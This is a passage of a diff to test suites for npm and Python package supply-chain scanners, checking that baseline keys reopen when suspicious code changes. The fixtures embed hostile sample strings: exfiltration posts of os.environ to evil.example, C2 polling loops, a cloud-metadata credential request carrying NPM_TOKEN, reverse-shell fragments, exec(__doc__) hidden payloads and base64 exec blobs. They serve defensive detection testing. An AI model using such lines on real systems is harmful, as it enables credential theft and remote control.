if f.pattern == "cred-surface-host (outbound)"
][0]
assert snp._finding_key(of) != snp._finding_key(nf)
def test_load_baseline_skips_non_dict_entries(tmp_path):
# A malformed current-schema baseline (non-dict entries, or a non-object root)
# must not crash the loader; bad entries are skipped, valid ones still load.
bl = tmp_path / "bad.json"
bl.write_text(
json.dumps(
{
"version": snp._BASELINE_SCHEMA_VERSION,
"entries": ["oops", 123, {"package": "p", "file": "package/a.js", "pattern": "x"}],
}
),
encoding = "utf-8",
)
keys = snp._load_baseline(str(bl))
assert keys == {("p", "a.js", "x", snp._evidence_hash(""))}
# A non-object root is rejected with a warning, not a crash.
arr = tmp_path / "arr.json"
arr.write_text("[1, 2, 3]", encoding = "utf-8")
assert snp._load_baseline(str(arr)) == set()
def test_legacy_schema_baseline_is_ignored(tmp_path):
# A pre-v2 baseline stored basenames; its keys are ambiguous under
# package-relative matching, so a populated legacy file is ignored (fail
@ -418,6 +894,67 @@ def test_legacy_schema_baseline_is_ignored(tmp_path):
assert snp._load_baseline(str(bl)) == set()
def test_v2_baseline_migrates_by_recomputing_hash(tmp_path):
# v2 shares v3's package-relative keying, so its entries migrate (the hash is
# recomputed from stored evidence) rather than being thrown away, matching the
# Python loader. An unchanged finding stays suppressed.
bl = tmp_path / "v2.json"
evidence = "fetch('http://ok')"
bl.write_text(
json.dumps(
{
"version": 2,
"entries": [
{
"package": "left-pad",
"file": "package/dist/index.js",
"pattern": "obfuscated-blob",
"severity": snp.HIGH,
"evidence": evidence,
}
],
}
),
encoding = "utf-8",
)
finding = _finding(
"left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = evidence
)
assert snp._finding_key(finding) in snp._load_baseline(str(bl))
def test_outbound_cred_surface_host_config_binds_full_context():
# The host-config branch captures the whole line (path + headers), so changing
# the outbound headers/body on the same hostname line reopens the key.
pkg = snp.PackageEntry(
name = "evil",
version = "1.0.0",
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
integrity = "sha512-test",
lockfile_key = "node_modules/evil",
)
path = "/latest/meta-data/iam/security-credentials/role-name"
old = (
"const opts = {hostname: '169.254.169.254', "
f"path: '{path}', headers: {{a: 'old'}}}};\nrun(opts);\n"
)
new = (
"const opts = {hostname: '169.254.169.254', "
f"path: '{path}', headers: {{a: 'evil', token: process.env.NPM_TOKEN}}}};\nrun(opts);\n"
)
of = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", old)
if f.pattern == "cred-surface-host (outbound)"
][0]
nf = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", new)
if f.pattern == "cred-surface-host (outbound)"
][0]
assert snp._finding_key(of) != snp._finding_key(nf)
def test_committed_baseline_is_empty_and_valid():
# Shipped baseline must parse and (by design) suppress nothing: the live corpus is clean.
path = REPO_ROOT / "scripts" / "scan_npm_packages_baseline.json"

View file

@ -322,20 +322,781 @@ def test_proc_self_status_pattern_is_live():
assert not sp.RE_ANTI_ANALYSIS.search("if platform.system() == 'Linux': pass")
def _mk(sev, pkg, fname, check):
return sp.Finding(sev, pkg, fname, check, "evidence")
def _mk(
sev,
pkg,
fname,
check,
evidence = "evidence",
):
return sp.Finding(sev, pkg, fname, check, evidence)
def test_baseline_key_version_stable_but_path_specific():
a = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/sessions.py", "X")
b = _mk(sp.CRITICAL, "Requests", "requests-3.0.0/requests/sessions.py", "X")
# Same package-relative path across versions -> same key (stable).
# Same package-relative path + same matched code across versions -> same key.
assert sp._finding_key(a) == sp._finding_key(b)
# Same basename in a different path -> different key (no over-suppression).
c = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/vendor/sessions.py", "X")
assert sp._finding_key(a) != sp._finding_key(c)
def test_baseline_key_line_shift_stable_but_code_specific():
# The evidence hash strips ``L<NN>:`` markers, so a benign upstream edit that
# only shifts line numbers keeps the key stable...
base = _mk(
sp.CRITICAL,
"botocore",
"botocore/utils.py",
"Harvests environment variables/secrets AND makes network calls",
"Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies",
)
shifted = _mk(
sp.CRITICAL,
"botocore",
"botocore/utils.py",
"Harvests environment variables/secrets AND makes network calls",
"Env: L612: env = os.environ.copy()\nNetwork: L48: from urllib.request import getproxies",
)
assert sp._finding_key(base) == sp._finding_key(shifted)
# ...but a NEW payload in the same file/check (different matched code) does
# not inherit the suppression -- this is the supply-chain bypass we close.
malicious = _mk(
sp.CRITICAL,
"botocore",
"botocore/utils.py",
"Harvests environment variables/secrets AND makes network calls",
"Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)",
)
assert sp._finding_key(base) != sp._finding_key(malicious)
def test_extract_evidence_records_all_matches():
# The whole point of P1: a match appended after the first few must show up
# in the evidence, so it changes the key instead of riding the earlier ones.
src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(6))
ev = sp._extract_evidence(src, sp.RE_NETWORK)
assert ev.count("requests.get(") == 6
def test_baseline_key_reopens_on_appended_match():
# A reviewed file already trips a check with several matches; a later exfil
# call appended to the same file/check must reopen the finding.
base_src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(3))
payload_src = base_src + "\nrequests.post('https://evil.example/exfil', data=os.environ)"
base = _mk(sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(base_src, sp.RE_NETWORK))
payload = _mk(
sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(payload_src, sp.RE_NETWORK)
)
assert sp._finding_key(base) != sp._finding_key(payload)
def test_baseline_key_inner_line_marker_is_not_stripped():
# Only the leading L<NN>: marker is dropped; an L<NN>: inside the matched
# code is part of the code, so changing it must reopen the finding...
a = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L42:/p'")
b = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L7:/p'")
assert sp._finding_key(a) != sp._finding_key(b)
# ...while only the leading marker (line number) changing stays stable.
c = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L55: url = 'http://h/L42:/p'")
assert sp._finding_key(a) == sp._finding_key(c)
def test_baseline_key_indentation_is_significant():
# Moving a flagged line out of a guarded block (dedent) changes executable
# context, so the same code at a different indent must reopen the finding.
guarded = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)")
top_level = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)")
assert sp._finding_key(guarded) != sp._finding_key(top_level)
def test_canon_evidence_keeps_bitwise_or_in_a_span():
# ' | ' only delimits spans when it precedes an L<NN>: marker; a pipe inside
# matched code (bitwise OR, typing.Union) is code, so changing an operand
# must reopen the finding instead of deduping to the same key.
a = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_CLOEXEC")
b = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_EVIL")
assert sp._finding_key(a) != sp._finding_key(b)
# The OR survives canonicalization as one span (not split on the pipe).
assert sp._canon_evidence("L5: a = X | Y") == "a = X | Y"
def test_extract_evidence_caps_long_line_but_binds_tail():
# A long (e.g. minified) line is not dumped verbatim: the display is bounded to
# a prefix, but a sha256 of the full line is appended so a payload past the cut
# still changes the key instead of being silently clipped.
marker = "EXFIL_PAST_CAP"
pad = "# " + " " * 300
line = "requests.get('http://a') " + pad + marker
ev = sp._extract_evidence(line + "\n", sp.RE_NETWORK)
assert marker not in ev # tail past the cap is not shown verbatim
assert "sha256:" in ev # but it is pinned by a digest
assert len(ev) < len(line) # bounded, not the whole minified line
base = sp._extract_evidence("requests.get('http://a') " + pad + "x\n", sp.RE_NETWORK)
assert sp._evidence_hash(ev) != sp._evidence_hash(base)
def test_extract_evidence_binds_call_continuation_past_12_lines():
# A matched call that stays open well beyond the old 12-line continuation cap
# still binds its later arguments: a changed body on a deep continuation line
# (here ~22 lines in) must reopen instead of riding the first 12 lines.
head = "requests.post('http://h',\n"
middle = "".join(f" opt{i} = ({i}),\n" for i in range(20))
old = head + middle + " data = {'x': 'old'},\n)\n"
new = head + middle + " data = {'x': 'evil'},\n)\n"
eo = sp._extract_evidence(old, sp.RE_NETWORK)
en = sp._extract_evidence(new, sp.RE_NETWORK)
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
def test_logical_line_end_follows_backslash_continuation():
# A call split with an explicit backslash before the parenthesis must still
# bind the continuation line, so changing the URL on the next physical line
# reopens instead of returning at the zero-depth API line.
old = "requests.post \\\n ('http://old/x', data = 1)\n"
new = "requests.post \\\n ('http://evil/x', data = 1)\n"
eo = sp._extract_evidence(old, sp.RE_NETWORK)
en = sp._extract_evidence(new, sp.RE_NETWORK)
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
def test_logical_line_end_blanks_multiline_triple_string():
# A ) inside a triple-quoted string argument must not close the call early; the
# data= after the closing triple-quote must still bind so a changed payload
# reopens (a per-line string blanker cannot mask a multi-line string).
old = 'requests.post("""http://h\n/path)""", data={"x": "old"})\n'
new = 'requests.post("""http://h\n/path)""", data={"x": "evil"})\n'
eo = sp._extract_evidence(old, sp.RE_NETWORK)
en = sp._extract_evidence(new, sp.RE_NETWORK)
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
def test_extract_evidence_binds_call_embedded_in_string():
# A call whose text lives INSIDE a triple-quoted string (a dropper embedding a
# setup.py payload) must still bind its argument lines. Blanking the multi-line
# string must not shrink the span below the legacy single-line view: the union
# of both views keeps the URL argument bound so a changed payload reopens.
src = (
'PAYLOAD = """\n'
"urllib.request.urlretrieve(\n"
' "http://evil/old.pyz",\n'
' "/tmp/x.pyz",\n'
")\n"
'"""\n'
)
eo = sp._extract_evidence(src, sp.RE_NETWORK)
en = sp._extract_evidence(src.replace("old.pyz", "evil2.pyz"), sp.RE_NETWORK)
assert "L3" in eo # the URL argument line is bound, not just the API line
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
def test_extract_evidence_overflow_digest_is_line_shift_stable():
# The overflow digest canonicalizes (strips L<NN>: markers), so inserting an
# unrelated line above the overflow region does not change it (line-shift
# stability), while a real payload change inside the overflow still reopens.
n = sp._MAX_EVIDENCE_SPANS
src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 5))
sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1)
e_a = sp._extract_evidence(src, sp.RE_NETWORK)
assert "more) sha256:" in e_a
e_shift = sp._extract_evidence("# unrelated\n" + src, sp.RE_NETWORK)
assert sha(e_a) == sha(e_shift) # a pure line shift does not change the digest
e_chg = sp._extract_evidence(src.replace(f"a/p{n + 3}'", "a/pEVIL'"), sp.RE_NETWORK)
assert sha(e_a) != sha(e_chg) # a real change in the overflow region reopens
def test_extract_evidence_overflow_is_streamed_and_bounded():
# Past the display cap the evidence streams overflow spans into one digest
# instead of materializing a rendered span per match, so a file with far more
# matches than the cap yields a bounded string (at most cap spans plus the
# "(+N more)" digest line) while N counts every overflow match and a change to
# an over-cap match still reopens.
n = sp._MAX_EVIDENCE_SPANS
src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 500))
ev = sp._extract_evidence(src, sp.RE_NETWORK)
assert ev.count(" sha256:") == 1 # only the overflow digest, no per-span digests
assert "(+500 more)" in ev # every match past the cap is counted
# bounded: exactly cap rendered spans plus the single "(+N more)" marker
assert len(ev.split(" | ")) == n + 1
sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1)
chg = sp._extract_evidence(src.replace(f"a/p{n + 200}'", "a/pEVIL'"), sp.RE_NETWORK)
assert sha(ev) != sha(chg) # an over-cap payload change reopens
def test_extract_evidence_same_line_close_then_open_binds_call():
# A continued statement that closes on the same physical line that opens a
# flagged call, e.g. `]; requests.post(`, nets to <= 0 under a plain bracket
# count, dropping the call's `(` so the scan would stop at the opener line.
# Order-aware counting keeps the opener, so the argument lines bind and a
# changed body on a continuation line reopens.
old = "x = [a]; requests.post(\n 'http://h/old',\n data=secret,\n)\n"
new = "x = [a]; requests.post(\n 'http://h/old',\n data=EVIL,\n)\n"
assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
sp._extract_evidence(new, sp.RE_NETWORK)
)
def test_extract_evidence_backslash_continued_string_binds_tail():
# A single-quoted string can continue across lines with a trailing backslash.
# The `)` inside that continued string on the next line must not be counted as
# code and close the call early, or a changed argument after it would not
# reopen. The blanker tracks the continuation so the whole call binds.
old = "requests.post('http://h\\\n/path)', data='old')\n"
new = "requests.post('http://h\\\n/path)', data='EVIL')\n"
assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
sp._extract_evidence(new, sp.RE_NETWORK)
)
def test_extract_evidence_long_call_tail_past_soft_cap_reopens():
# A call with more argument lines than the soft cap (_MAX_CALL_LINES) is still
# followed to its real close under the hard limit, so a changed payload on a
# continuation line well past the soft cap reopens instead of riding the first
# _MAX_CALL_LINES lines. A bracket that never closes stays bound to the soft cap.
mid = "\n".join(f" opt{i}=1," for i in range(sp._MAX_CALL_LINES + 20))
old = "requests.post(\n" + mid + "\n data='old',\n)\n"
new = "requests.post(\n" + mid + "\n data='EVIL',\n)\n"
assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
sp._extract_evidence(new, sp.RE_NETWORK)
)
def test_extract_evidence_fallback_line_numbers_are_correct():
# The DOTALL fallback maps match offsets to line numbers via precomputed
# newline offsets (bisect, not a quadratic content.count per match); guard that
# the mapping is exact so a cross-line match is recorded at its true line and a
# changed continuation reopens.
content = "x = 1\ny = 2\nwhile True:\n time.sleep(60)\n requests.get('http://a/old')\n"
e1 = sp._extract_evidence(content, sp.RE_C2_POLLING)
e2 = sp._extract_evidence(content.replace("/old", "/evil"), sp.RE_C2_POLLING)
assert "L3" in e1 # the while-True loop starts on line 3, not line 1
assert sp._evidence_hash(e1) != sp._evidence_hash(e2)
def test_large_js_bundle_pins_whole_content_when_other_finding_fires():
# A >100 KB JS bundle that also trips the hex-var obfuscation signature binds
# the whole bundle, so changing payload code elsewhere (obfuscation line
# unchanged) reopens rather than riding the matched signature line.
obf = "var _0xabcd = function(){};\n"
pad = "// filler\n" * 11000 # push the file over the 100 KB large-bundle bar
fo = sp.check_js_file(obf + pad + "var payload = 'old';\n", "pkg/bundle.js", "pkg")
fn = sp.check_js_file(obf + pad + "var payload = 'evil';\n", "pkg/bundle.js", "pkg")
co = [f for f in fo if "hex-var obfuscation" in f.check][0]
cn = [f for f in fn if "hex-var obfuscation" in f.check][0]
assert "bundle-sha256:" in co.evidence
assert sp._evidence_hash(co.evidence) != sp._evidence_hash(cn.evidence)
def test_pth_catch_all_import_evidence_is_bounded_but_reopens():
# A large .pth made only of benign-looking imports is bounded in the evidence
# (prefix plus digest), not dumped in full, yet still reopens when an import
# line changes because the digest covers every line.
base = "".join(f"import mod{i}\n" for i in range(200))
fo = [
f
for f in sp.check_pth_file(base + "import secret_old\n", "p/x.pth", "p")
if "executable import line" in f.check
]
fn = [
f
for f in sp.check_pth_file(base + "import secret_evil\n", "p/x.pth", "p")
if "executable import line" in f.check
]
assert fo and fn
assert "sha256:" in fo[0].evidence and len(fo[0].evidence) < len(base)
assert sp._evidence_hash(fo[0].evidence) != sp._evidence_hash(fn[0].evidence)
def test_extract_evidence_records_all_multiline_matches():
# The DOTALL fallback must record every distinct cross-line match, so a second
# long-sleep appended below an already-flagged one reopens the finding.
one = "foo = time.sleep(\n 600\n)\n"
two = one + "bar = time.sleep(\n 900\n)\n"
ev1 = sp._extract_evidence(one, sp.RE_ANTI_ANALYSIS)
ev2 = sp._extract_evidence(two, sp.RE_ANTI_ANALYSIS)
assert ev2.count("time.sleep(") == 2 # both matches, not just the first
assert sp._evidence_hash(ev1) != sp._evidence_hash(ev2)
def test_multiline_evidence_reopens_on_continuation_change():
# A DOTALL match records every line it spans, so changing the URL inside an
# already-flagged C2 loop (a continuation line) reopens the finding...
old = "while True:\n time.sleep(60)\n requests.get('http://old.example/poll')\n"
new = "while True:\n time.sleep(60)\n requests.get('http://evil.example/c2')\n"
fo = _mk(
sp.CRITICAL,
"p",
"p/loop.py",
"C2 polling/beaconing loop detected",
sp._extract_evidence(old, sp.RE_C2_POLLING),
)
fn = _mk(
sp.CRITICAL,
"p",
"p/loop.py",
"C2 polling/beaconing loop detected",
sp._extract_evidence(new, sp.RE_C2_POLLING),
)
assert sp._finding_key(fo) != sp._finding_key(fn)
# ...while a benign line shift of the same loop stays stable.
shifted = _mk(
sp.CRITICAL,
"p",
"p/loop.py",
"C2 polling/beaconing loop detected",
sp._extract_evidence("\n\n" + old, sp.RE_C2_POLLING),
)
assert sp._finding_key(fo) == sp._finding_key(shifted)
def test_extract_evidence_bounds_pathological_multiline_span():
# A greedy DOTALL span is capped to its head line plus a digest of the rest,
# so evidence stays bounded while still binding the full match.
big = "vmware\n" + "x\n" * 50 + "detect\n"
ev = sp._extract_evidence(big, sp.RE_ANTI_ANALYSIS)
assert "sha256:" in ev and ev.count("\n") <= 1
def test_canon_evidence_keeps_duplicate_spans():
# A second identical matched line in a new code path must change the key, so
# an appended duplicate payload occurrence is not deduped to the same hash.
one = " requests.post(url, data=env)"
base = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one}")
dup = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one} | L5: {one}")
assert sp._finding_key(base) != sp._finding_key(dup)
def test_canon_evidence_does_not_strip_inner_marker_from_raw_code():
# Raw .pth evidence has no leading L<NN>: marker; an L<NN>:-looking substring
# inside the code must be kept, so changing the code before it reopens.
base = _mk(
sp.HIGH,
"p",
"p/x.pth",
".pth has 1 executable import line(s)",
"import os; note='L7: same_suffix'",
)
changed = _mk(
sp.HIGH,
"p",
"p/x.pth",
".pth has 1 executable import line(s)",
"import urllib.request; note='L7: same_suffix'",
)
assert sp._finding_key(base) != sp._finding_key(changed)
def test_capped_multiline_digest_is_line_shift_stable():
# A span over the cap is digested from markerless code, so a pure line shift
# of the same span stays stable while a code change still reopens.
src = (
"while True:\n"
+ " x = 1\n" * 20
+ " time.sleep(60)\n requests.get('http://old.example/poll')\n"
)
e1 = sp._extract_evidence(src, sp.RE_C2_POLLING)
e2 = sp._extract_evidence("\n\n" + src, sp.RE_C2_POLLING)
assert "sha256:" in e1 # span exceeded the cap
assert sp._evidence_hash(e1) == sp._evidence_hash(e2)
changed = src.replace("http://old.example/poll", "http://evil.example/c2")
assert sp._evidence_hash(e1) != sp._evidence_hash(
sp._extract_evidence(changed, sp.RE_C2_POLLING)
)
def test_canon_evidence_strips_punctuation_label_marker():
# A label with punctuation (network+exec:) must still be stripped, so the
# line number alone does not change the key.
a = "network+exec: L12: subprocess.run(['id'])"
b = "network+exec: L99: subprocess.run(['id'])"
assert sp._evidence_hash(a) == sp._evidence_hash(b)
def test_extract_evidence_binds_call_continuation_lines():
# A multi-line network call binds its argument lines, so a changed URL on a
# continuation line reopens even though the line with the API name is unchanged.
old = "requests.post(\n 'http://old.example',\n data=env,\n)\n"
new = "requests.post(\n 'http://evil.example',\n data=env,\n)\n"
eo = sp._extract_evidence(old, sp.RE_NETWORK)
en = sp._extract_evidence(new, sp.RE_NETWORK)
assert "old.example" in eo and "evil.example" in en
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
def test_extract_evidence_records_multiline_after_oneline():
# A one-line C2 match no longer suppresses a later multi-line C2 loop: the
# appended cross-line construct is recorded too, so it cannot ride the key.
oneline = "while True: time.sleep(60); requests.get('http://a/poll')\n"
appended = oneline + "while True:\n time.sleep(30)\n requests.get('http://evil/c2')\n"
eo = sp._extract_evidence(oneline, sp.RE_C2_POLLING)
ea = sp._extract_evidence(appended, sp.RE_C2_POLLING)
assert "evil" in ea
assert sp._evidence_hash(eo) != sp._evidence_hash(ea)
def test_extract_evidence_giant_span_binds_full_interior():
# A giant greedy DOTALL span bridging anchors across the whole file is bound by
# a digest of its full content (not just the outer anchors), so a cross-line
# payload inserted into the bridged interior between unchanged outer anchors
# reopens instead of riding the key. (Binding only head/tail would fail open on
# an interior insertion.) A pure line shift still stays stable.
gap = "\n".join(f" x = {i}" for i in range(70))
base = "import socket\nsock.connect(addr)\n" + gap + "\nos.dup2(fd, 0)\nsubprocess.Popen(cmd)\n"
# interior insertion of a cross-line payload between the unchanged outer anchors
injected = base.replace(" x = 35", " x = 35\n sock.connect(evilhost)")
ea = sp._extract_evidence(base, sp.RE_REVERSE_SHELL)
ei = sp._extract_evidence(injected, sp.RE_REVERSE_SHELL)
assert "sha256:" in ea # full interior bound by a digest
assert sp._evidence_hash(ea) != sp._evidence_hash(ei) # interior change reopens
shifted = sp._extract_evidence("\n\n" + base, sp.RE_REVERSE_SHELL)
assert sp._evidence_hash(ea) == sp._evidence_hash(shifted) # pure shift stable
def test_extract_evidence_giant_span_appended_payload_reopens():
# The anchor binding must reopen when an appended cross-line payload extends the
# bridged span past the cap: an existing one-line /tmp+subprocess finding plus a
# NEW /tmp/evil line and a later subprocess.run (60+ lines apart, sharing no
# single line so the per-line pass never binds them) moves the span's tail
# anchor, so the evidence changes instead of riding the unchanged key.
existing = "import os\n/tmp/x; subprocess.run(['id'])\n"
gap = "\n".join(f" pad{i} = {i}" for i in range(65))
appended = existing + "/tmp/evil\n" + gap + "\nsubprocess.run(['curl', 'evil'])\n"
base = sp._extract_evidence(existing, sp.RE_TEMP_EXEC)
app = sp._extract_evidence(appended, sp.RE_TEMP_EXEC)
assert sp._evidence_hash(base) != sp._evidence_hash(app)
# a pure line shift of the same payload does not reopen
shifted = sp._extract_evidence("\n\n" + appended, sp.RE_TEMP_EXEC)
assert sp._evidence_hash(app) == sp._evidence_hash(shifted)
def test_hidden_payload_binds_visible_exec_trigger():
# The hidden-payload finding binds the visible exec/eval line that makes the
# docstring runnable, so flipping a harmless eval("1+1") to exec(__doc__) (which
# now runs the same hidden network+exec payload) reopens instead of riding the
# key on the unchanged hidden text.
hidden = '"""\nimport requests; requests.get("http://evil")\nsubprocess.run(["sh"])\n"""\n'
benign = hidden + 'eval("1+1")\n'
armed = hidden + "exec(__doc__)\n"
def key(src):
return [
sp._finding_key(f)
for f in sp._hidden_payload_findings(src, sp._strip_noncode(src), "p/x.py", "p")
if "hidden network+exec" in f.check
][0]
assert key(benign) != key(armed)
def test_js_finding_pins_full_content_digest():
# A JS finding pins the full file content digest, so a backtick template literal
# that closes the bracket span early cannot let later option/body lines change
# without reopening (the Python-string-aware extractor would otherwise omit
# them). Holds for small files too, not just large bundles.
old = "window.ethereum.request(`tpl with ) paren`,\n {method: 'eth', body: 'OLD'})\n"
new = "window.ethereum.request(`tpl with ) paren`,\n {method: 'eth', body: 'EVIL'})\n"
fo = [f for f in sp.check_js_file(old, "p/w.js", "p") if "Web3" in f.check][0]
fn = [f for f in sp.check_js_file(new, "p/w.js", "p") if "Web3" in f.check][0]
assert "bundle-sha256:" in fo.evidence
assert sp._finding_key(fo) != sp._finding_key(fn)
def test_extract_evidence_binds_moderate_appended_dotall_span():
# A multi-line construct appended under a check that already has a one-line
# match is still recorded when it is not a giant whole-file bridge, so its
# payload reopens instead of riding the old one-line match.
one = "while True: time.sleep(60); requests.get('http://a/poll')\n"
gap = "\n".join(f" x = {i}" for i in range(20))
old = one + "while True:\n" + gap + "\n requests.get('http://old/c2')\n"
new = one + "while True:\n" + gap + "\n requests.get('http://evil/c2')\n"
eo = sp._extract_evidence(old, sp.RE_C2_POLLING)
en = sp._extract_evidence(new, sp.RE_C2_POLLING)
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
def test_canon_evidence_reorder_reopens():
# Reordering matched lines changes executable context, so the key reopens
# (the canon preserves discovery order rather than sorting).
a = "Net: L10: requests.post(url)\nEnv: L20: env = os.environ.copy()"
b = "Env: L20: env = os.environ.copy()\nNet: L10: requests.post(url)"
assert sp._evidence_hash(a) != sp._evidence_hash(b)
def test_logical_line_end_ignores_brackets_in_strings():
# A ) inside a string argument must not close the call early, so later
# argument lines still bind and a changed payload there reopens.
old = "requests.post('http://h/p)',\n data=secret_old,\n)\n"
new = "requests.post('http://h/p)',\n data=secret_new,\n)\n"
eo = sp._extract_evidence(old, sp.RE_NETWORK)
en = sp._extract_evidence(new, sp.RE_NETWORK)
assert "data=secret_old" in eo
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
def test_base64_exec_blob_finding_binds_every_blob():
# The base64+exec+blob finding digests every blob, so appending a second
# encoded payload reopens even when the first blob and decode line are unchanged.
head = "import base64\nblob1 = '" + "A" * 220 + "'\nexec(base64.b64decode(blob1))\n"
old = head
new = head + "blob2 = '" + "B" * 220 + "'\n"
fo = [f for f in sp.check_py_file(old, "p/x.py", "p") if "large encoded blob" in f.check]
fn = [f for f in sp.check_py_file(new, "p/x.py", "p") if "large encoded blob" in f.check]
assert fo and fn
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
def test_pth_large_blob_finding_binds_every_blob():
# The .pth large-blob finding digests every blob, so appending a second
# encoded payload reopens rather than riding the unchanged first blob.
old = "import os\n" + "X" * 220 + "\n"
new = old + "Y" * 220 + "\n"
fo = [f for f in sp.check_pth_file(old, "p/x.pth", "p") if "large base64-like blob" in f.check]
fn = [f for f in sp.check_pth_file(new, "p/x.pth", "p") if "large base64-like blob" in f.check]
assert fo and fn
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
def test_pth_unusually_large_finding_is_content_bound():
# Two different payloads of equal size and import count must get different
# keys: the finding now pins the .pth content via a digest.
a = [
f
for f in sp.check_pth_file("import abc; n=" + repr("!" * 500), "p/x.pth", "p")
if f.check.startswith("Unusually large executable .pth")
]
b = [
f
for f in sp.check_pth_file("import xyz; n=" + repr("?" * 500), "p/x.pth", "p")
if f.check.startswith("Unusually large executable .pth")
]
assert a and b
assert "sha256:" in a[0].evidence
assert sp._finding_key(a[0]) != sp._finding_key(b[0])
def test_js_token_network_finding_binds_network_evidence():
# The JS stealer combo records both the token AND the network call, so a
# changed exfil endpoint reopens (RE_NETWORK-recognized call used here).
old = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://old.example');\n"
new = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://evil.example');\n"
fo = [f for f in sp.check_js_file(old, "p/p.js", "p") if "stealer" in f.check]
fn = [f for f in sp.check_js_file(new, "p/p.js", "p") if "stealer" in f.check]
assert fo and fn
assert "Network:" in fo[0].evidence
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
def test_embedded_pem_key_body_change_reopens():
# The embedded-key evidence pins the full PEM block via a digest, so swapping
# the key body under the same BEGIN/END markers reopens the finding instead
# of riding the unchanged marker line.
head = "-----BEGIN RSA PRIVATE KEY-----\n"
tail = "\n-----END RSA PRIVATE KEY-----"
net = "\nrequests.get('http://c2.example')\n"
old = f"k = '''{head}MIIoldAAAAAAAAAAAAAAAAAAAA{tail}'''{net}"
new = f"k = '''{head}MIInewBBBBBBBBBBBBBBBBBBBB{tail}'''{net}"
fo = [
f
for f in sp.check_py_file(old, "p/k.py", "p")
if f.check.startswith("Embedded cryptographic key + network")
]
fn = [
f
for f in sp.check_py_file(new, "p/k.py", "p")
if f.check.startswith("Embedded cryptographic key + network")
]
assert fo and fn
assert "sha256:" in fo[0].evidence
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
def test_shell_combos_bind_network_evidence():
# Both shell combos record their network/exec side, so a changed endpoint
# reopens instead of riding the unchanged token or hook line.
old = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://old.example')\n"
new = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://evil.example')\n"
to = [
f
for f in sp.check_shell_file(old, "p/i.sh", "p")
if f.check == "Shell embeds credential regexes AND makes network calls"
]
tn = [
f
for f in sp.check_shell_file(new, "p/i.sh", "p")
if f.check == "Shell embeds credential regexes AND makes network calls"
]
assert to and tn
assert sp._finding_key(to[0]) != sp._finding_key(tn[0])
ho = "SessionStart hook installed\nrequests.get('http://old.example')\n"
hn = "SessionStart hook installed\nrequests.get('http://evil.example')\n"
go = [
f
for f in sp.check_shell_file(ho, "p/i.sh", "p")
if f.check.startswith("Shell installs developer-tool")
]
gn = [
f
for f in sp.check_shell_file(hn, "p/i.sh", "p")
if f.check.startswith("Shell installs developer-tool")
]
assert go and gn
assert "Hook:" in go[0].evidence
assert sp._finding_key(go[0]) != sp._finding_key(gn[0])
def test_hidden_network_exec_reopens_on_endpoint_change():
# The hidden network+exec payload binds both the network and the exec signal,
# so changing the docstring exfil URL reopens the finding.
old = (
'"""\nimport urllib.request, os\nurllib.request.urlopen("http://old/x").read()\n'
'os.system("sh -c id")\n"""\nexec(__doc__)\n'
)
new = (
'"""\nimport urllib.request, os\nurllib.request.urlopen("http://evil/x").read()\n'
'os.system("sh -c id")\n"""\nexec(__doc__)\n'
)
fo = [f for f in sp.check_py_file(old, "p/d.py", "p") if "hidden network+exec" in f.check]
fn = [f for f in sp.check_py_file(new, "p/d.py", "p") if "hidden network+exec" in f.check]
assert fo and fn
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
def test_base64_exec_blob_combo_binds_blob_digest():
# The blob may sit on a separate line from the decode call; the finding now
# digests it, so a changed payload reopens even with unchanged base64/exec.
b1 = "BLOB = '" + "A" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n"
b2 = "BLOB = '" + "B" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n"
f1 = [f for f in sp.check_py_file(b1, "p/m.py", "p") if "large encoded blob" in f.check]
